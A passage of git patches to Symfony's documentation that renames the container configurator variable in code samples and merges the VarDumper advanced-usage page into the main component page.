-.. _`ISO-8601`: https://www.iso.org/iso-8601-date-and-time-format.html
-.. _`YAML website`: https://yaml.org/
-.. _`YAML specification`: https://www.yaml.org/spec/1.2/spec.html
diff --git a/configuration.rst b/configuration.rst
index f1f66be2fdf..702ba9a3f59 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -102,7 +102,7 @@ YAML is used by default when installing packages because it's concise and very
 readable. These are the main advantages and disadvantages of each format:
 
 * **YAML**: simple, clean and readable, but not all IDEs support autocompletion
-  and validation for it. :doc:`Learn the YAML syntax </components/yaml/yaml_format>`;
+  and validation for it. :ref:`Learn the YAML syntax <yaml-format>`;
 * **XML**: autocompleted/validated by most IDEs and is parsed natively by PHP,
   but sometimes it generates configuration considered too verbose. `Learn the XML syntax`_;
 * **PHP**: very powerful and it allows you to create dynamic configuration with

From 6943bc7ae2749ca610752af9d5655449d346ca21 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 7 Jan 2023 16:31:02 +0100
Subject: [PATCH 4056/7107] Standardize the name of the container configurator
 variable 6.1

---
 bundles/configuration.rst            | 4 ++--
 bundles/extension.rst                | 8 ++++----
 bundles/prepend_extension.rst        | 6 +++---
 configuration/micro_kernel_trait.rst | 6 +++---
 notifier.rst                         | 4 ++--
 service_container/factories.rst      | 4 ++--
 service_container/tags.rst           | 4 ++--
 7 files changed, 18 insertions(+), 18 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index d8c7a44d7bd..2556546e2d0 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -352,11 +352,11 @@ add this logic to the bundle class directly::
             ;
         }
 
-        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
+        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $builder): void
         {
             // Contrary to the Extension class, the "$config" variable is already merged
             // and processed. You can use it directly to configure the service container.
-            $container->services()
+            $containerConfigurator->services()
                 ->get('acme.social.twitter_client')
                 ->arg(0, $config['twitter']['client_id'])
                 ->arg(1, $config['twitter']['client_secret'])
diff --git a/bundles/extension.rst b/bundles/extension.rst
index de5dee53c0c..6dca67b82e2 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -131,18 +131,18 @@ method::
 
     class AcmeHelloBundle extends AbstractBundle
     {
-        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
+        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $builder): void
         {
             // load an XML, PHP or Yaml file
-            $container->import('../config/services.xml');
+            $containerConfigurator->import('../config/services.xml');
 
             // you can also add or replace parameters and services
-            $container->parameters()
+            $containerConfigurator->parameters()
                 ->set('acme_hello.phrase', $config['phrase'])
             ;
 
             if ($config['scream']) {
-                $container->services()
+                $containerConfigurator->services()
                     ->get('acme_hello.printer')
                         ->class(ScreamingPrinter::class)
                 ;
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index a1b559abd85..0c743a42c12 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -173,7 +173,7 @@ method::
 
     class FooBundle extends AbstractBundle
     {
-        public function prependExtension(ContainerConfigurator $container, ContainerBuilder $builder): void
+        public function prependExtension(ContainerConfigurator $containerConfigurator, ContainerBuilder $builder): void
         {
             // prepend
             $builder->prependExtensionConfig('framework', [
@@ -181,12 +181,12 @@ method::
             ]);
 
             // append
-            $container->extension('framework', [
+            $containerConfigurator->extension('framework', [
                 'cache' => ['prefix_seed' => 'foo/bar'],
             ]);
 
             // append from file
-            $container->import('../config/packages/cache.php');
+            $containerConfigurator->import('../config/packages/cache.php');
         }
     }
 
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index ec62277e224..c7755790764 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -93,10 +93,10 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
                 ];
             }
 
-            protected function configureContainer(ContainerConfigurator $c): void
+            protected function configureContainer(ContainerConfigurator $containerConfigurator): void
             {
                 // PHP equivalent of config/packages/framework.yaml
-                $c->extension('framework', [
+                $containerConfigurator->extension('framework', [
                     'secret' => 'S0ME_SECRET'
                 ]);
             }
@@ -325,7 +325,7 @@ add a service conditionally based on the ``foo`` value::
                 ->end();
         }
 
-        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
+        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $builder): void
         {
             if ($config['foo']) {
                 $builder->register('foo_service', \stdClass::class);
diff --git a/notifier.rst b/notifier.rst
index d689d7972b2..ebe9de39054 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -741,8 +741,8 @@ typical alert levels, which you can implement immediately using:
 
         use Symfony\Component\Notifier\FlashMessage\BootstrapFlashMessageImportanceMapper;
 
-        return function(ContainerConfigurator $configurator) {
-            $configurator->services()
+        return function(ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->services()
                 ->set('notifier.flash_message_importance_mapper', BootstrapFlashMessageImportanceMapper::class)
             ;
         };
diff --git a/service_container/factories.rst b/service_container/factories.rst
index d8ca852e6e9..d5164e03b05 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -298,8 +298,8 @@ e.g. change the service based on a parameter:
         use App\Email\NewsletterManagerInterface;
         use App\Email\NewsletterManagerFactory;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(NewsletterManagerInterface::class)
                 // use the "tracable_newsletter" service when debug is enabled, "newsletter" otherwise.
diff --git a/service_container/tags.rst b/service_container/tags.rst
index bf20981504f..08dbb862744 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -672,8 +672,8 @@ iterator, add the ``exclude`` option:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             // ...
 

From d2cbbddb8363d6c97726de2807e957da87c615e8 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sat, 7 Jan 2023 15:44:07 +0100
Subject: [PATCH 4057/7107] Merge VarDumper docs into one

---
 components/var_dumper.rst          | 417 ++++++++++++++++++++++++++++-
 components/var_dumper/advanced.rst | 408 ----------------------------
 2 files changed, 410 insertions(+), 415 deletions(-)
 delete mode 100644 components/var_dumper/advanced.rst

diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index 480ec326967..e7d3d381313 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -71,7 +71,8 @@ current PHP SAPI:
 .. note::
 
     If you want to catch the dump output as a string, please read the
-    :doc:`advanced documentation </components/var_dumper/advanced>` which contains examples of it.
+    :ref:`advanced section <var-dumper-advanced>` which contains examples of
+    it.
     You'll also learn how to change the format or redirect the output to
     wherever you want.
 
@@ -468,11 +469,413 @@ then its dump representation::
 
 .. image:: /_images/components/var_dumper/09-cut.png
 
-Learn More
-----------
+.. _var-dumper-advanced:
 
-.. toctree::
-    :maxdepth: 1
-    :glob:
+.. index::
+   single: VarDumper
+   single: Components; VarDumper
+
+Advanced Usage
+--------------
+
+The ``dump()`` function is just a thin wrapper and a more convenient way to call
+:method:`VarDumper::dump() <Symfony\\Component\\VarDumper\\VarDumper::dump>`.
+You can change the behavior of this function by calling
+:method:`VarDumper::setHandler($callable) <Symfony\\Component\\VarDumper\\VarDumper::setHandler>`.
+Calls to ``dump()`` will then be forwarded to ``$callable``.
+
+By adding a handler, you can customize the `Cloners`_, `Dumpers`_ and `Casters`_
+as explained below. A simple implementation of a handler function might look
+like this::
+
+    use Symfony\Component\VarDumper\Cloner\VarCloner;
+    use Symfony\Component\VarDumper\Dumper\CliDumper;
+    use Symfony\Component\VarDumper\Dumper\HtmlDumper;
+    use Symfony\Component\VarDumper\VarDumper;
+
+    VarDumper::setHandler(function ($var) {
+        $cloner = new VarCloner();
+        $dumper = 'cli' === PHP_SAPI ? new CliDumper() : new HtmlDumper();
+
+        $dumper->dump($cloner->cloneVar($var));
+    });
+
+Cloners
+~~~~~~~
+
+A cloner is used to create an intermediate representation of any PHP variable.
+Its output is a :class:`Symfony\\Component\\VarDumper\\Cloner\\Data`
+object that wraps this representation.
+
+You can create a ``Data`` object this way::
+
+    use Symfony\Component\VarDumper\Cloner\VarCloner;
+
+    $cloner = new VarCloner();
+    $data = $cloner->cloneVar($myVar);
+    // this is commonly then passed to the dumper
+    // see the example at the top of this page
+    // $dumper->dump($data);
+
+Whatever the cloned data structure, resulting ``Data`` objects are always
+serializable.
+
+A cloner applies limits when creating the representation, so that one
+can represent only a subset of the cloned variable.
+Before calling :method:`Symfony\\Component\\VarDumper\\Cloner\\VarCloner::cloneVar`,
+you can configure these limits:
+
+:method:`Symfony\\Component\\VarDumper\\Cloner\\VarCloner::setMaxItems`
+    Configures the maximum number of items that will be cloned
+    *past the minimum nesting depth*. Items are counted using a breadth-first
+    algorithm so that lower level items have higher priority than deeply nested
+    items. Specifying ``-1`` removes the limit.
+
+:method:`Symfony\\Component\\VarDumper\\Cloner\\VarCloner::setMinDepth`
+    Configures the minimum tree depth where we are guaranteed to clone
+    all the items. After this depth is reached, only ``setMaxItems``
+    items will be cloned. The default value is ``1``, which is consistent
+    with older Symfony versions.
+
+:method:`Symfony\\Component\\VarDumper\\Cloner\\VarCloner::setMaxString`
+    Configures the maximum number of characters that will be cloned before
+    cutting overlong strings.  Specifying ``-1`` removes the limit.
+
+Before dumping it, you can further limit the resulting
+:class:`Symfony\\Component\\VarDumper\\Cloner\\Data` object using the following methods:
+
+:method:`Symfony\\Component\\VarDumper\\Cloner\\Data::withMaxDepth`
+    Limits dumps in the depth dimension.
+
+:method:`Symfony\\Component\\VarDumper\\Cloner\\Data::withMaxItemsPerDepth`
+    Limits the number of items per depth level.
+
+:method:`Symfony\\Component\\VarDumper\\Cloner\\Data::withRefHandles`
+    Removes internal objects' handles for sparser output (useful for tests).
+
+:method:`Symfony\\Component\\VarDumper\\Cloner\\Data::seek`
+    Selects only sub-parts of already cloned arrays, objects or resources.
+
+Unlike the previous limits on cloners that remove data on purpose, these can
+be changed back and forth before dumping since they do not affect the
+intermediate representation internally.
+
+.. note::
+
+    When no limit is applied, a :class:`Symfony\\Component\\VarDumper\\Cloner\\Data`
+    object is as accurate as the native :phpfunction:`serialize` function,
+    and thus could be used for purposes beyond debugging.
+
+Dumpers
+~~~~~~~
+
+A dumper is responsible for outputting a string representation of a PHP variable,
+using a :class:`Symfony\\Component\\VarDumper\\Cloner\\Data` object as input.
+The destination and the formatting of this output vary with dumpers.
+
+This component comes with an :class:`Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper`
+for HTML output and a :class:`Symfony\\Component\\VarDumper\\Dumper\\CliDumper`
+for optionally colored command line output.
+
+For example, if you want to dump some ``$variable``, do::
+
+    use Symfony\Component\VarDumper\Cloner\VarCloner;
+    use Symfony\Component\VarDumper\Dumper\CliDumper;
+
+    $cloner = new VarCloner();
+    $dumper = new CliDumper();
+
+    $dumper->dump($cloner->cloneVar($variable));
+
+By using the first argument of the constructor, you can select the output
+stream where the dump will be written. By default, the ``CliDumper`` writes
+on ``php://stdout`` and the ``HtmlDumper`` on ``php://output``. But any PHP
+stream (resource or URL) is acceptable.
+
+Instead of a stream destination, you can also pass it a ``callable`` that
+will be called repeatedly for each line generated by a dumper. This
+callable can be configured using the first argument of a dumper's constructor,
+but also using the
+:method:`Symfony\\Component\\VarDumper\\Dumper\\AbstractDumper::setOutput`
+method or the second argument of the
+:method:`Symfony\\Component\\VarDumper\\Dumper\\AbstractDumper::dump` method.
+
+For example, to get a dump as a string in a variable, you can do::
+
+    use Symfony\Component\VarDumper\Cloner\VarCloner;
+    use Symfony\Component\VarDumper\Dumper\CliDumper;
+
+    $cloner = new VarCloner();
+    $dumper = new CliDumper();
+    $output = '';
+
+    $dumper->dump(
+        $cloner->cloneVar($variable),
+        function ($line, $depth) use (&$output) {
+            // A negative depth means "end of dump"
+            if ($depth >= 0) {
+                // Adds a two spaces indentation to the line
+                $output .= str_repeat('  ', $depth).$line."\n";
+            }
+        }
+    );
+
+    // $output is now populated with the dump representation of $variable
+
+Another option for doing the same could be::
+
+    use Symfony\Component\VarDumper\Cloner\VarCloner;
+    use Symfony\Component\VarDumper\Dumper\CliDumper;
+
+    $cloner = new VarCloner();
+    $dumper = new CliDumper();
+    $output = fopen('php://memory', 'r+b');
+
+    $dumper->dump($cloner->cloneVar($variable), $output);
+    $output = stream_get_contents($output, -1, 0);
+
+    // $output is now populated with the dump representation of $variable
+
+.. tip::
+
+    You can pass ``true`` to the second argument of the
+    :method:`Symfony\\Component\\VarDumper\\Dumper\\AbstractDumper::dump`
+    method to make it return the dump as a string::
 
-    var_dumper/*
+        $output = $dumper->dump($cloner->cloneVar($variable), true);
+
+Dumpers implement the :class:`Symfony\\Component\\VarDumper\\Dumper\\DataDumperInterface`
+interface that specifies the
+:method:`dump(Data $data) <Symfony\\Component\\VarDumper\\Dumper\\DataDumperInterface::dump>`
+method. They also typically implement the
+:class:`Symfony\\Component\\VarDumper\\Cloner\\DumperInterface` that frees
+them from re-implementing the logic required to walk through a
+:class:`Symfony\\Component\\VarDumper\\Cloner\\Data` object's internal structure.
+
+The :class:`Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper` uses a dark
+theme by default. Use the :method:`Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper::setTheme`
+method to use a light theme::
+
+    // ...
+    $htmlDumper->setTheme('light');
+
+The :class:`Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper` limits string
+length and nesting depth of the output to make it more readable. These options
+can be overridden by the third optional parameter of the
+:method:`dump(Data $data) <Symfony\\Component\\VarDumper\\Dumper\\DataDumperInterface::dump>`
+method::
+
+    use Symfony\Component\VarDumper\Dumper\HtmlDumper;
+
+    $output = fopen('php://memory', 'r+b');
+
+    $dumper = new HtmlDumper();
+    $dumper->dump($var, $output, [
+        // 1 and 160 are the default values for these options
+        'maxDepth' => 1,
+        'maxStringLength' => 160,
+    ]);
+
+The output format of a dumper can be fine tuned by the two flags
+``DUMP_STRING_LENGTH`` and ``DUMP_LIGHT_ARRAY`` which are passed as a bitmap
+in the third constructor argument. They can also be set via environment
+variables when using
+:method:`assertDumpEquals($dump, $data, $filter, $message) <Symfony\\Component\\VarDumper\\Test\\VarDumperTestTrait::assertDumpEquals>`
+during unit testing.
+
+The ``$filter`` argument of ``assertDumpEquals()`` can be used to pass a
+bit field of ``Caster::EXCLUDE_*`` constants and influences the expected
+output produced by the different casters.
+
+If ``DUMP_STRING_LENGTH`` is set, then the length of a string is displayed
+next to its content::
+
+    use Symfony\Component\VarDumper\Cloner\VarCloner;
+    use Symfony\Component\VarDumper\Dumper\AbstractDumper;
+    use Symfony\Component\VarDumper\Dumper\CliDumper;
+
+    $varCloner = new VarCloner();
+    $var = ['test'];
+
+    $dumper = new CliDumper();
+    echo $dumper->dump($varCloner->cloneVar($var), true);
+
+    // array:1 [
+    //   0 => "test"
+    // ]
+
+    $dumper = new CliDumper(null, null, AbstractDumper::DUMP_STRING_LENGTH);
+    echo $dumper->dump($varCloner->cloneVar($var), true);
+
+    // (added string length before the string)
+    // array:1 [
+    //   0 => (4) "test"
+    // ]
+
+If ``DUMP_LIGHT_ARRAY`` is set, then arrays are dumped in a shortened format
+similar to PHP's short array notation::
+
+    use Symfony\Component\VarDumper\Cloner\VarCloner;
+    use Symfony\Component\VarDumper\Dumper\AbstractDumper;
+    use Symfony\Component\VarDumper\Dumper\CliDumper;
+
+    $varCloner = new VarCloner();
+    $var = ['test'];
+
+    $dumper = new CliDumper();
+    echo $dumper->dump($varCloner->cloneVar($var), true);
+
+    // array:1 [
+    //   0 => "test"
+    // ]
+
+    $dumper = new CliDumper(null, null, AbstractDumper::DUMP_LIGHT_ARRAY);
+    echo $dumper->dump($varCloner->cloneVar($var), true);
+
+    // (no more array:1 prefix)
+    // [
+    //   0 => "test"
+    // ]
+
+If you would like to use both options, then you can combine them by
+using the logical OR operator ``|``::
+
+    use Symfony\Component\VarDumper\Cloner\VarCloner;
+    use Symfony\Component\VarDumper\Dumper\AbstractDumper;
+    use Symfony\Component\VarDumper\Dumper\CliDumper;
+
+    $varCloner = new VarCloner();
+    $var = ['test'];
+
+    $dumper = new CliDumper(null, null, AbstractDumper::DUMP_STRING_LENGTH | AbstractDumper::DUMP_LIGHT_ARRAY);
+    echo $dumper->dump($varCloner->cloneVar($var), true);
+
+    // [
+    //   0 => (4) "test"
+    // ]
+
+Casters
+~~~~~~~
+
+Objects and resources nested in a PHP variable are "cast" to arrays in the
+intermediate :class:`Symfony\\Component\\VarDumper\\Cloner\\Data`
+representation. You can customize the array representation for each object/resource
+by hooking a Caster into this process. The component already includes many
+casters for base PHP classes and other common classes.
+
+If you want to build your own Caster, you can register one before cloning
+a PHP variable. Casters are registered using either a Cloner's constructor
+or its ``addCasters()`` method::
+
+    use Symfony\Component\VarDumper\Cloner\VarCloner;
+
+    $myCasters = [...];
+    $cloner = new VarCloner($myCasters);
+
+    // or
+
+    $cloner->addCasters($myCasters);
+
+The provided ``$myCasters`` argument is an array that maps a class,
+an interface or a resource type to a callable::
+
+    $myCasters = [
+        'FooClass' => $myFooClassCallableCaster,
+        ':bar resource' => $myBarResourceCallableCaster,
+    ];
+
+As you can notice, resource types are prefixed by a ``:`` to prevent
+colliding with a class name.
+
+Because an object has one main class and potentially many parent classes
+or interfaces, many casters can be applied to one object. In this case,
+casters are called one after the other, starting from casters bound to the
+interfaces, the parents classes and then the main class. Several casters
+can also be registered for the same resource type/class/interface.
+They are called in registration order.
+
+Casters are responsible for returning the properties of the object or resource
+being cloned in an array. They are callables that accept five arguments:
+
+* the object or resource being casted;
+* an array modeled for objects after PHP's native ``(array)`` cast operator;
+* a :class:`Symfony\\Component\\VarDumper\\Cloner\\Stub` object
+  representing the main properties of the object (class, type, etc.);
+* true/false when the caster is called nested in a structure or not;
+* A bit field of :class:`Symfony\\Component\\VarDumper\\Caster\\Caster` ``::EXCLUDE_*``
+  constants.
+
+Here is a simple caster not doing anything::
+
+    use Symfony\Component\VarDumper\Cloner\Stub;
+
+    function myCaster($object, $array, Stub $stub, $isNested, $filter)
+    {
+        // ... populate/alter $array to your needs
+
+        return $array;
+    }
+
+For objects, the ``$array`` parameter comes pre-populated using PHP's native
+``(array)`` casting operator or with the return value of ``$object->__debugInfo()``
+if the magic method exists. Then, the return value of one Caster is given
+as the array argument to the next Caster in the chain.
+
+When casting with the ``(array)`` operator, PHP prefixes protected properties
+with a ``\0*\0`` and private ones with the class owning the property. For example,
+``\0Foobar\0`` will be the prefix for all private properties of objects of
+type Foobar. Casters follow this convention and add two more prefixes: ``\0~\0``
+is used for virtual properties and ``\0+\0`` for dynamic ones (runtime added
+properties not in the class declaration).
+
+.. note::
+
+    Although you can, it is advised to not alter the state of an object
+    while casting it in a Caster.
+
+.. tip::
+
+    Before writing your own casters, you should check the existing ones.
+
+Adding Semantics with Metadata
+..............................
+
+Since casters are hooked on specific classes or interfaces, they know about the
+objects they manipulate. By altering the ``$stub`` object (the third argument of
+any caster), one can transfer this knowledge to the resulting ``Data`` object,
+thus to dumpers. To help you do this (see the source code for how it works),
+the component comes with a set of wrappers for common additional semantics. You
+can use:
+
+* :class:`Symfony\\Component\\VarDumper\\Caster\\ConstStub` to wrap a value that is
+  best represented by a PHP constant;
+* :class:`Symfony\\Component\\VarDumper\\Caster\\ClassStub` to wrap a PHP identifier
+  (*i.e.* a class name, a method name, an interface, *etc.*);
+* :class:`Symfony\\Component\\VarDumper\\Caster\\CutStub` to replace big noisy
+  objects/strings/*etc.* by ellipses;
+* :class:`Symfony\\Component\\VarDumper\\Caster\\CutArrayStub` to keep only some
+  useful keys of an array;
+* :class:`Symfony\\Component\\VarDumper\\Caster\\ImgStub` to wrap an image;
+* :class:`Symfony\\Component\\VarDumper\\Caster\\EnumStub` to wrap a set of virtual
+  values (*i.e.* values that do not exist as properties in the original PHP data
+  structure, but are worth listing alongside with real ones);
+* :class:`Symfony\\Component\\VarDumper\\Caster\\LinkStub` to wrap strings that can
+  be turned into links by dumpers;
+* :class:`Symfony\\Component\\VarDumper\\Caster\\TraceStub` and their
+* :class:`Symfony\\Component\\VarDumper\\Caster\\FrameStub` and
+* :class:`Symfony\\Component\\VarDumper\\Caster\\ArgsStub` relatives to wrap PHP
+  traces (used by :class:`Symfony\\Component\\VarDumper\\Caster\\ExceptionCaster`).
+
+For example, if you know that your ``Product`` objects have a ``brochure`` property
+that holds a file name or a URL, you can wrap them in a ``LinkStub`` to tell
+``HtmlDumper`` to make them clickable::
+
+    use Symfony\Component\VarDumper\Caster\LinkStub;
+    use Symfony\Component\VarDumper\Cloner\Stub;
+
+    function ProductCaster(Product $object, $array, Stub $stub, $isNested, $filter = 0)
+    {
+        $array['brochure'] = new LinkStub($array['brochure']);
+
+        return $array;
+    }
diff --git a/components/var_dumper/advanced.rst b/components/var_dumper/advanced.rst
deleted file mode 100644
index ded04cca902..00000000000
--- a/components/var_dumper/advanced.rst
+++ /dev/null
@@ -1,408 +0,0 @@
-.. index::
-   single: VarDumper
-   single: Components; VarDumper
-
-Advanced Usage of the VarDumper Component
-=========================================
-
-The ``dump()`` function is just a thin wrapper and a more convenient way to call
-:method:`VarDumper::dump() <Symfony\\Component\\VarDumper\\VarDumper::dump>`.
-You can change the behavior of this function by calling
-:method:`VarDumper::setHandler($callable) <Symfony\\Component\\VarDumper\\VarDumper::setHandler>`.
-Calls to ``dump()`` will then be forwarded to ``$callable``.
-
-By adding a handler, you can customize the `Cloners`_, `Dumpers`_ and `Casters`_
-as explained below. A simple implementation of a handler function might look
-like this::
-
-    use Symfony\Component\VarDumper\Cloner\VarCloner;
-    use Symfony\Component\VarDumper\Dumper\CliDumper;
-    use Symfony\Component\VarDumper\Dumper\HtmlDumper;
-    use Symfony\Component\VarDumper\VarDumper;
-
-    VarDumper::setHandler(function ($var) {
-        $cloner = new VarCloner();
-        $dumper = 'cli' === PHP_SAPI ? new CliDumper() : new HtmlDumper();
-
-        $dumper->dump($cloner->cloneVar($var));
-    });
-
-Cloners
--------
-
-A cloner is used to create an intermediate representation of any PHP variable.
-Its output is a :class:`Symfony\\Component\\VarDumper\\Cloner\\Data`
-object that wraps this representation.
-
-You can create a ``Data`` object this way::
-
-    use Symfony\Component\VarDumper\Cloner\VarCloner;
-
-    $cloner = new VarCloner();
-    $data = $cloner->cloneVar($myVar);
-    // this is commonly then passed to the dumper
-    // see the example at the top of this page
-    // $dumper->dump($data);
-
-Whatever the cloned data structure, resulting ``Data`` objects are always
-serializable.
-
-A cloner applies limits when creating the representation, so that one
-can represent only a subset of the cloned variable.
-Before calling :method:`Symfony\\Component\\VarDumper\\Cloner\\VarCloner::cloneVar`,
-you can configure these limits:
-
-:method:`Symfony\\Component\\VarDumper\\Cloner\\VarCloner::setMaxItems`
-    Configures the maximum number of items that will be cloned
-    *past the minimum nesting depth*. Items are counted using a breadth-first
-    algorithm so that lower level items have higher priority than deeply nested
-    items. Specifying ``-1`` removes the limit.
-
-:method:`Symfony\\Component\\VarDumper\\Cloner\\VarCloner::setMinDepth`
-    Configures the minimum tree depth where we are guaranteed to clone
-    all the items. After this depth is reached, only ``setMaxItems``
-    items will be cloned. The default value is ``1``, which is consistent
-    with older Symfony versions.
-
-:method:`Symfony\\Component\\VarDumper\\Cloner\\VarCloner::setMaxString`
-    Configures the maximum number of characters that will be cloned before
-    cutting overlong strings.  Specifying ``-1`` removes the limit.
-
-Before dumping it, you can further limit the resulting
-:class:`Symfony\\Component\\VarDumper\\Cloner\\Data` object using the following methods:
-
-:method:`Symfony\\Component\\VarDumper\\Cloner\\Data::withMaxDepth`
-    Limits dumps in the depth dimension.
-
-:method:`Symfony\\Component\\VarDumper\\Cloner\\Data::withMaxItemsPerDepth`
-    Limits the number of items per depth level.
-
-:method:`Symfony\\Component\\VarDumper\\Cloner\\Data::withRefHandles`
-    Removes internal objects' handles for sparser output (useful for tests).
-
-:method:`Symfony\\Component\\VarDumper\\Cloner\\Data::seek`
-    Selects only sub-parts of already cloned arrays, objects or resources.
-
-Unlike the previous limits on cloners that remove data on purpose, these can
-be changed back and forth before dumping since they do not affect the
-intermediate representation internally.
-
-.. note::
-
-    When no limit is applied, a :class:`Symfony\\Component\\VarDumper\\Cloner\\Data`
-    object is as accurate as the native :phpfunction:`serialize` function,
-    and thus could be used for purposes beyond debugging.
-
-Dumpers
--------
-
-A dumper is responsible for outputting a string representation of a PHP variable,
-using a :class:`Symfony\\Component\\VarDumper\\Cloner\\Data` object as input.
-The destination and the formatting of this output vary with dumpers.
-
-This component comes with an :class:`Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper`
-for HTML output and a :class:`Symfony\\Component\\VarDumper\\Dumper\\CliDumper`
-for optionally colored command line output.
-
-For example, if you want to dump some ``$variable``, do::
-
-    use Symfony\Component\VarDumper\Cloner\VarCloner;
-    use Symfony\Component\VarDumper\Dumper\CliDumper;
-
-    $cloner = new VarCloner();
-    $dumper = new CliDumper();
-
-    $dumper->dump($cloner->cloneVar($variable));
-
-By using the first argument of the constructor, you can select the output
-stream where the dump will be written. By default, the ``CliDumper`` writes
-on ``php://stdout`` and the ``HtmlDumper`` on ``php://output``. But any PHP
-stream (resource or URL) is acceptable.
-
-Instead of a stream destination, you can also pass it a ``callable`` that
-will be called repeatedly for each line generated by a dumper. This
-callable can be configured using the first argument of a dumper's constructor,
-but also using the
-:method:`Symfony\\Component\\VarDumper\\Dumper\\AbstractDumper::setOutput`
-method or the second argument of the
-:method:`Symfony\\Component\\VarDumper\\Dumper\\AbstractDumper::dump` method.
-
-For example, to get a dump as a string in a variable, you can do::
-
-    use Symfony\Component\VarDumper\Cloner\VarCloner;
-    use Symfony\Component\VarDumper\Dumper\CliDumper;
-
-    $cloner = new VarCloner();
-    $dumper = new CliDumper();
-    $output = '';
-
-    $dumper->dump(
-        $cloner->cloneVar($variable),
-        function ($line, $depth) use (&$output) {
-            // A negative depth means "end of dump"
-            if ($depth >= 0) {
-                // Adds a two spaces indentation to the line
-                $output .= str_repeat('  ', $depth).$line."\n";
-            }
-        }
-    );
-
-    // $output is now populated with the dump representation of $variable
-
-Another option for doing the same could be::
-
-    use Symfony\Component\VarDumper\Cloner\VarCloner;
-    use Symfony\Component\VarDumper\Dumper\CliDumper;
-
-    $cloner = new VarCloner();
-    $dumper = new CliDumper();
-    $output = fopen('php://memory', 'r+b');
-
-    $dumper->dump($cloner->cloneVar($variable), $output);
-    $output = stream_get_contents($output, -1, 0);
-
-    // $output is now populated with the dump representation of $variable
-
-.. tip::
-
-    You can pass ``true`` to the second argument of the
-    :method:`Symfony\\Component\\VarDumper\\Dumper\\AbstractDumper::dump`
-    method to make it return the dump as a string::
-
-        $output = $dumper->dump($cloner->cloneVar($variable), true);
-
-Dumpers implement the :class:`Symfony\\Component\\VarDumper\\Dumper\\DataDumperInterface`
-interface that specifies the
-:method:`dump(Data $data) <Symfony\\Component\\VarDumper\\Dumper\\DataDumperInterface::dump>`
-method. They also typically implement the
-:class:`Symfony\\Component\\VarDumper\\Cloner\\DumperInterface` that frees
-them from re-implementing the logic required to walk through a
-:class:`Symfony\\Component\\VarDumper\\Cloner\\Data` object's internal structure.
-
-The :class:`Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper` uses a dark
-theme by default. Use the :method:`Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper::setTheme`
-method to use a light theme::
-
-    // ...
-    $htmlDumper->setTheme('light');
-
-The :class:`Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper` limits string
-length and nesting depth of the output to make it more readable. These options
-can be overridden by the third optional parameter of the
-:method:`dump(Data $data) <Symfony\\Component\\VarDumper\\Dumper\\DataDumperInterface::dump>`
-method::
-
-    use Symfony\Component\VarDumper\Dumper\HtmlDumper;
-
-    $output = fopen('php://memory', 'r+b');
-
-    $dumper = new HtmlDumper();
-    $dumper->dump($var, $output, [
-        // 1 and 160 are the default values for these options
-        'maxDepth' => 1,
-        'maxStringLength' => 160,
-    ]);
-
-The output format of a dumper can be fine tuned by the two flags
-``DUMP_STRING_LENGTH`` and ``DUMP_LIGHT_ARRAY`` which are passed as a bitmap
-in the third constructor argument. They can also be set via environment
-variables when using
-:method:`assertDumpEquals($dump, $data, $filter, $message) <Symfony\\Component\\VarDumper\\Test\\VarDumperTestTrait::assertDumpEquals>`
-during unit testing.
-
-The ``$filter`` argument of ``assertDumpEquals()`` can be used to pass a
-bit field of ``Caster::EXCLUDE_*`` constants and influences the expected
-output produced by the different casters.
-
-If ``DUMP_STRING_LENGTH`` is set, then the length of a string is displayed
-next to its content::
-
-    use Symfony\Component\VarDumper\Cloner\VarCloner;
-    use Symfony\Component\VarDumper\Dumper\AbstractDumper;
-    use Symfony\Component\VarDumper\Dumper\CliDumper;
-
-    $varCloner = new VarCloner();
-    $var = ['test'];
-
-    $dumper = new CliDumper();
-    echo $dumper->dump($varCloner->cloneVar($var), true);
-
-    // array:1 [
-    //   0 => "test"
-    // ]
-
-    $dumper = new CliDumper(null, null, AbstractDumper::DUMP_STRING_LENGTH);
-    echo $dumper->dump($varCloner->cloneVar($var), true);
-
-    // (added string length before the string)
-    // array:1 [
-    //   0 => (4) "test"
-    // ]
-
-If ``DUMP_LIGHT_ARRAY`` is set, then arrays are dumped in a shortened format
-similar to PHP's short array notation::
-
